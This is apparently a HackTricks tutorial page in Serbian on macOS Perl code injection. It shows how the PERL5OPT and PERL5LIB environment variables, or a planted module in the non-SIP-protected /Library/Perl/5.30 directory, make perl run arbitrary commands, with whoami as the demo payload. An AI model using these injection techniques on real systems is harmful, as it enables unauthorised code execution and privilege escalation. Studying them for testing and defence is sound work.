macOS Perl Applications Injection
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Putem PERL5OPT
& PERL5LIB
env varijable
Korišćenjem env varijable PERL5OPT moguće je naterati perl da izvrši proizvoljne komande.
Na primer, kreirajte ovaj skript:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Sada izvezite env promenljivu i izvršite perl skriptu:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Druga opcija je da se kreira Perl modul (npr. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
I zatim koristite env varijable:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Putem zavisnosti
Moguće je navesti redosled foldera zavisnosti Perl-a koji se izvršava:
perl -e 'print join("\n", @INC)'
Što će vratiti nešto poput:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Neki od vraćenih foldera čak ni ne postoje, međutim, /Library/Perl/5.30
postoji, nije zaštićen SIP-om i nalazi se pre foldera zaštićenih SIP-om. Stoga, neko bi mogao da zloupotrebi taj folder da doda zavisnosti skripti tako da visoko privilegovana Perl skripta učita to.
warning
Međutim, imajte na umu da morate biti root da biste pisali u taj folder i danas ćete dobiti ovaj TCC prompt:
.png)
Na primer, ako skripta uvozi use File::Basename;
, bilo bi moguće kreirati /Library/Perl/5.30/File/Basename.pm
da bi se izvršio proizvoljan kod.
References
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.